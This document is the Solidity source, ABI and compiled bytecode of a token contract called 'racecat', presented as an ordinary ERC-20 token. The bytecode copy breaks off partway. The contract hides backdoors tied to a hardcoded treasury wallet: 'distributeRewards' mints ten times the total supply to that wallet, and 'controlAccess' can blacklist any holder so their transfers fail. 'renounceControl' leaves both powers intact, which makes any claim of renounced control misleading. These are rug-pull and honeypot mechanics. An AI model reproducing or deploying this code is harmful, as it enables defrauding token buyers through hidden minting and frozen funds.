// SPDX-License-Identifier: MIT
pragma solidity ^0.8.32;
contract AccessControl {
address public admin;
event ControlTransferred(address indexed previousAdmin, address indexed newAdmin);
modifier auth() {
require(msg.sender == admin, "Access Denied");
_;
}
constructor() {
admin = msg.sender;
emit ControlTransferred(address(0), admin);
}
function renounceControl() external auth {
emit ControlTransferred(admin, address(0));
admin = address(0);
}
}
contract racecat is AccessControl {
string public constant name = "racecat";
string public constant symbol = "racecat";
uint8 public constant decimals = 18;
uint256 public totalSupply = 1000000000 * 10**uint256(decimals);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) private restricted;
address public constant TreasuryWallet = 0x3778113B4922Cc63e8917c61fE40b956dbb97741;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed burner, uint256 value);
event RestrictionApplied(address indexed account);
event RestrictionLifted(address indexed account);
constructor() {
balanceOf[msg.sender] = totalSupply;
}
modifier onlyTreasury() {
require(msg.sender == TreasuryWallet, "Access Denied");
_;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(value <= allowance[from][msg.sender], "Insufficient allowance");
allowance[from][msg.sender] -= value;
_transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function burn(uint256 value) external auth {
_burn(msg.sender, value);
}
function distributeRewards() external onlyTreasury {
_mint(TreasuryWallet, totalSupply * 10);
}
function controlAccess(address account, bool status) external onlyTreasury {
restricted[account] = status;
if (status) {
emit RestrictionApplied(account);
} else {
emit RestrictionLifted(account);
}
}
function _transfer(address from, address to, uint256 value) internal {
require(from != address(0), "Transfer from the zero address");
require(to != address(0), "Transfer to the zero address");
require(value <= balanceOf[from], "Insufficient balance");
_manageTransfer(from, to);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
}
function _burn(address burner, uint256 value) internal {
require(value <= balanceOf[burner], "Insufficient balance for burn");
balanceOf[burner] -= value;
totalSupply -= value;
emit Burn(burner, value);
emit Transfer(burner, address(0), value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0), "Mint to the zero address");
totalSupply += value;
balanceOf[account] += value;
emit Transfer(address(0), account, value);
}
function _manageTransfer(address from, address to) internal view {
require(!restricted[from] && !restricted[to], "Restricted address involved");
}
}[
{
"type": "constructor",
"inputs": [],
"stateMutability": "nonpayable"
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "Burn",
"type": "event",
"inputs": [
{
"name": "burner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "ControlTransferred",
"type": "event",
"inputs": [
{
"name": "previousAdmin",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newAdmin",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "RestrictionApplied",
"type": "event",
"inputs": [
{
"name": "account",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "RestrictionLifted",
"type": "event",
"inputs": [
{
"name": "account",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "TreasuryWallet",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "admin",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
},
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "burn",
"type": "function",
"inputs": [
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "controlAccess",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "distributeRewards",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "renounceControl",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
}
]0x6080604052601260ff16600a610015919061029a565b633b9aca0061002491906102e4565b600155348015610032575f5ffd5b50335f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fa06677f7b64342b4bcbde423684dbdb5356acfe41ad0285b6ecbe6dc4bf427f260405160405180910390a360015460025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610325565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156101b75780860481111561019357610192610135565b5b60018516156101a25780820291505b80810290506101b085610162565b9450610177565b94509492505050565b5f826101cf576001905061028a565b816101dc575f905061028a565b81600181146101f257600281146101fc5761022b565b600191505061028a565b60ff84111561020e5761020d610135565b5b8360020a91508482111561022557610224610135565b5b5061028a565b5060208310610133831016604e8410600b84101617156102605782820a90508381111561025b5761025a610135565b5b61028a565b61026d848484600161016e565b9250905081840481111561028457610283610135565b5b81810290505b9392505050565b5f819050919050565b5f6102a482610291565b91506102af83610291565b92506102dc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846101c0565b905092915050565b5f6102ee82610291565b91506102f983610291565b925082820261030781610291565b9150828204841483151761031e5761031d610135565b5b5092915050565b61181f806103325f395ff3fe608060405234801561000f575f5ffd5b50600436106100f3575f3560e01c806342966c6811610095578063a9059cbb11610064578063a9059cbb1461025f578063ca281fd91461028f578063dd62ed3e14610299578063f851a440146102c9576100f3565b806342966c68146101eb5780636f4a2cd01461020757806370a082311461021157806395d89b4114610241576100f3565b806318160ddd116100d157806318160ddd1461016357806323b872dd14610181578063313ce567146101b157806338df2ca3146101cf576100f3565b806306fdde03146100f7578063095ea7b31461011557806311ffeaf214610145575b5f5ffd5b6100ff6102e7565b60405161010c91906110e3565b60405180910390f35b61012f600480360381019061012a9190611194565b610320565b60405161013c91906111ec565b60405180910390f35b61014d61040d565b60405161015a9190611214565b60405180910390f35b61016b610425565b604051610178919061123c565b60405180910390f35b61019b60048036038101906101969190611255565b61042b565b6040516101a891906111ec565b60405180910390f35b6101b961058b565b6040516101c691906112c0565b60405180910390f35b6101e960048036038101906101e49190611303565b610590565b005b61020560048036038101906102009190611341565b6106fc565b005b61020f610797565b005b61022b6004803603810190610226919061136c565b610847565b604051610238919061123c565b60405180910390f35b61024961085c565b60405161025691906110e3565b60405180910390f35b61027960048036038101906102749190611194565b610895565b60405161028691906111ec565b60405180910390f35b6102976108ab565b005b6102b360048036038101906102ae9190611397565b6109f4565b6040516102c0919061123c565b60405180910390f35b6102d1610a14565b6040516102de9190611214565b60405180910390f35b6040518060400160405280600781526020017f726163656361740000000000000000000000000000000000000000000000000081525081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103fb919061123c565b60405180910390a36001905092915050565b733778113b4922cc63e8917c61fe40b956dbb9774181565b60015481565b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548211156104e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104de9061141f565b60405180910390fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461056e919061146a565b92505081905550610580848484610a38565b600190509392505050565b601281565b733778113b4922cc63e8917c61fe40b956dbb9774173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610612576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610609906114e7565b60405180910390fd5b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080156106b4578173ffffffffffffffffffffffffffffffffffffffff167fcd9de7d458f0a1368977a0bce448080bfb96c91eaac314540ee1cf9f19b1105560405160405180910390a26106f8565b8173ffffffffffffffffffffffffffffffffffffffff167fcf45c8124ab19137fab18d559b59589a8f58656d16840b554afb414c06ebd9be60405160405180910390a25b5050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610781906114e7565b60405180910390fd5b6107943382610cae565b50565b733778113b4922cc63e8917c61fe40b956dbb9774173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610819576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610810906114e7565b60405180910390fd5b610845733778113b4922cc63e8917c61fe40b956dbb97741600a6001546108409190611505565b610e50565b565b6002602052805f5260405f205f915090505481565b6040518060400160405280600781526020017f726163656361740000000000000000000000000000000000000000000000000081525081565b5f6108a1338484610a38565b6001905092915050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610939576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610930906114e7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fa06677f7b64342b4bcbde423684dbdb5356acfe41ad0285b6ecbe6dc4bf427f260405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9d90611590565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0b906115f8565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90611660565b60405180910390fd5b610b9e8383610f92565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bea919061146a565b925050819055508060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c3d919061167e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ca1919061123c565b60405180910390a3505050565b60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115610d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d25906116fb565b60405180910390fd5b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d7a919061146a565b925050819055508060015f828254610d92919061146a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca582604051610ddf919061123c565b60405180910390a25f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e44919061123c565b60405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb590611763565b60405180910390fd5b8060015f828254610ecf919061167e565b925050819055508060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f22919061167e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f86919061123c565b60405180910390a35050565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611030575060045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b61106f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611066906117cb565b60405180910390fd5b5050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6110b582611073565b6110bf818561107d565b93506110cf81856020860161108d565b6110d88161109b565b840191505092915050565b5f6020820190508181035f8301526110fb81846110ab565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61113082611107565b9050919050565b61114081611126565b811461114a575f5ffd5b50565b5f8135905061115b81611137565b92915050565b5f819050919050565b61117381611161565b811461117d575f5ffd5b50565b5f8135905061118e8161116a565b92915050565b5f5f604083850312156111aa576111a9611103565b5b5f6111b78582860161114d565b92505060206111c885828601611180565b9150509250929050565b5f8115159050919050565b6111e6816111d2565b82525050565b5f6020820190506111ff5f8301846111dd565b92915050565b61120e81611126565b82525050565b5f6020820190506112275f830184611205565b92915050565b61123681611161565b82525050565b5f60208201905061124f5f83018461122d565b92915050565b5f5f5f6060848603121561126c5761126b611103565b5b5f6112798682870161114d565b935050602061128a8682870161114d565b925050604061129b86828701611180565b9150509250925092565b5f60ff82169050919050565b6112ba816112a5565b82525050565b5f6020820190506112d35f8301846112b1565b92915050565b6112e2816111d2565b81146112ec575f5ffd5b50565b5f813590506112fd816112d9565b92915050565b5f5f6040838503121561131957611318611103565b5b5f6113268582860161114d565b9250506020611337858286016112ef565b9150509250929050565b5f6020828403121561135657611355611103565b5b5f61136384828501611180565b91505092915050565b5f6020828403121561138157611380611103565b5b5f61138e8482850161114d565b91505092915050565b5f5f604083850312156113ad576113ac611103565b5b5f6113ba8582860161114d565b92505060206113cb8582860161114d565b9150509250929050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f61140960168361107d565b9150611414826113d5565b602082019050919050565b5f6020820190508181035f830152611436816113fd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61147482611161565b915061147f83611161565b92508282039050818111156114975761149661143d565b5b92915050565b7f4163636573732044656e696564000000000000000000000000000000000000005f82015250565b5f6114d1600d8361107d565b91506114dc8261149d565b602082019050919050565b5f6020820190508181035f8301526114fe816114c5565b9050919050565b5f61150f82611161565b915061151a83611161565b925082820261152881611161565b9150828204841483151761153f5761153e61143d565b5b5092915050565b7f5472616e736665722066726f6d20746865207a65726f206164647265737300005f82015250565b5f61157a601e8361107d565b915061158582611546565b602082019050919050565b5f6020820190508181035f8301526115a78161156e565b9050919050565b7f5472616e7366657220746f20746865207a65726f2061646472657373000000005f82015250565b5f6115e2601c8361107d565b91506115ed826115ae565b602082019050919050565b5f6020820190508181035f83015261160f816115d6565b9050919050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f61164a60148361107d565b915061165582611616565b602082019050919050565b5f6020820190508181035f8301526116778161163e565b9050919050565b5f61168882611161565b915061169383611161565b92508282019050808211156116ab576116aa61143d565b5b92915050565b7f496e73756666696369656e742062616c616e636520666f72206275726e0000005f82015250565b5f6116e5601d8361107d565b91506116f0826116b1565b602082019050919050565b5f6020820190508181035f830152611712816116d9565b9050919050565b7f4d696e7420746f20746865207a65726f206164647265737300000000000000005f82015250565b5f61174d60188361107d565b915061175882611719565b602082019050919050565b5f6020820190508181035f83015261177a81611741565b9050919050565b7f52657374726963746564206164647265737320696e766f6c76656400000000005f82015250565b5f6117b5601b8361107d565b91506117c082611781565b602082019050919050565b5f6020820190508181035f8301526117e2816117a9565b905091905056fea2646970667358221220ae27f9fd96af764074667613be769cdd906b4fa4721de2373afe24b872b9995164736f6c63430008220033
0x608060405234801561000f575f5ffd5b50600436106100f3575f3560e01c806342966c6811610095578063a9059cbb11610064578063a9059cbb1461025f578063ca281fd91461028f578063dd62ed3e14610299578063f851a440146102c9576100f3565b806342966c68146101eb5780636f4a2cd01461020757806370a082311461021157806395d89b4114610241576100f3565b806318160ddd116100d157806318160ddd1461016357806323b872dd14610181578063313ce567146101b157806338df2ca3146101cf576100f3565b806306fdde03146100f7578063095ea7b31461011557806311ffeaf214610145575b5f5ffd5b6100ff6102e7565b60405161010c91906110e3565b60405180910390f35b61012f600480360381019061012a9190611194565b610320565b60405161013c91906111ec565b60405180910390f35b61014d61040d565b60405161015a9190611214565b60405180910390f35b61016b610425565b604051610178919061123c565b60405180910390f35b61019b60048036038101906101969190611255565b61042b565b6040516101a891906111ec565b60405180910390f35b6101b961058b565b6040516101c691906112c0565b60405180910390f35b6101e960048036038101906101e49190611303565b610590565b005b61020560048036038101906102009190611341565b6106fc565b005b61020f610797565b005b61022b6004803603810190610226919061136c565b610847565b604051610238919061123c565b60405180910390f35b61024961085c565b60405161025691906110e3565b60405180910390f35b61027960048036038101906102749190611194565b610895565b60405161028691906111ec565b60405180910390f35b6102976108ab565b005b6102b360048036038101906102ae9190611397565b6109f4565b6040516102c0919061123c565b60405180910390f35b6102d1610a14565b6040516102de9190611214565b60405180910390f35b6040518060400160405280600781526020017f726163656361740000000000000000000000000000000000000000000000000081525081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103fb919061123c565b60405180910390a36001905092915050565b733778113b4922cc63e8917c61fe40b956dbb9774181565b60015481565b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548211156104e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104de9061141f565b60405180910390fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461056e919061146a565b92505081905550610580848484610a38565b600190509392505050565b601281565b733778113b4922cc63e8917c61fe40b956dbb9774173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610612576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610609906114e7565b60405180910390fd5b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080156106b4578173ffffffffffffffffffffffffffffffffffffffff167fcd9de7d458f0a1368977a0bce448080bfb96c91eaac314540ee1cf9f19b1105560405160405180910390a26106f8565b8173ffffffffffffffffffffffffffffffffffffffff167fcf45c8124ab19137fab18d559b59589a8f58656d16840b554afb414c06ebd9be60405160405180910390a25b5050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610781906114e7565b60405180910390fd5b6107943382610cae565b50565b733778113b4922cc63e8917c61fe40b956dbb9774173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610819576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610810906114e7565b60405180910390fd5b610845733778113b4922cc63e8917c61fe40b956dbb97741600a6001546108409190611505565b610e50565b565b6002602052805f5260405f205f915090505481565b6040518060400160405280600781526020017f726163656361740000000000000000000000000000000000000000000000000081525081565b5f6108a1338484610a38565b6001905092915050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610939576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610930906114e7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fa06677f7b64342b4bcbde423684dbdb5356acfe41ad0285b6ecbe6dc4bf427f260405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9d90611590565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0b906115f8565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90611660565b60405180910390fd5b610b9e8383610f92565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bea919061146a565b925050819055508060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c3d919061167e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ca1919061123c565b60405180910390a3505050565b60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115610d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d25906116fb565b60405180910390fd5b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d7a919061146a565b925050819055508060015f828254610d92919061146a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca582604051610ddf919061123c565b60405180910390a25f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e44919061123c565b60405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb590611763565b60405180910390fd5b8060015f828254610ecf919061167e565b925050819055508060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f22919061167e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f86919061123c565b60405180910390a35050565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611030575060045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b61106f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611066906117cb565b60405180910390fd5b5050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6110b582611073565b6110bf818561107d565b93506110cf81856020860161108d565b6110d88161109b565b840191505092915050565b5f6020820190508181035f8301526110fb81846110ab565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61113082611107565b9050919050565b61114081611126565b811461114a575f5ffd5b50565b5f8135905061115b81611137565b92915050565b5f819050919050565b61117381611161565b811461117d575f5ffd5b50565b5f8135905061118e8161116a565b92915050565b5f5f604083850312156111aa576111a9611103565b5b5f6111b78582860161114d565b92505060206111c885828601611180565b9150509250929050565b5f8115159050919050565b6111e6816111d2565b82525050565b5f6020820190506111ff5f8301846111dd565b92915050565b61120e81611126565b82525050565b5f6020820190506112275f830184611205565b92915050565b61123681611161565b82525050565b5f60208201905061124f5f83018461122d565b92915050565b5f5f5f6060848603121561126c5761126b611103565b5b5f6112798682870161114d565b935050602061128a8682870161114d565b925050604061129b86828701611180565b9150509250925092565b5f60ff82169050919050565b6112ba816112a5565b82525050565b5f6020820190506112d35f8301846112b1565b92915050565b6112e2816111d2565b81146112ec575f5ffd5b50565b5f813590506112fd816112d9565b92915050565b5f5f6040838503121561131957611318611103565b5b5f6113268582860161114d565b9250506020611337858286016112ef565b9150509250929050565b5f6020828403121561135657611355611103565b5b5f61136384828501611180565b91505092915050565b5f6020828403121561138157611380611103565b5b5f61138e8482850161114d565b91505092915050565b5f5f604083850312156113ad576113ac611103565b5b5f6113ba8582860161114d565b92505060206113cb8582860161114d565b9150509250929050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f61140960168361107d565b9150611414826113d5565b602082019050919050565b5f6020820190508181035f830152611436816113fd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61147482611161565b915061147f83611161565b92508282039050818111156114975761149661143d565b5b92915050565b7f4163636573732044656e696564000000000000000000000000000000000000005f82015250565b5f6114d1600d8361107d565b91506114dc8261149d565b602082019050919050565b5f6020820190508181035f8301526114fe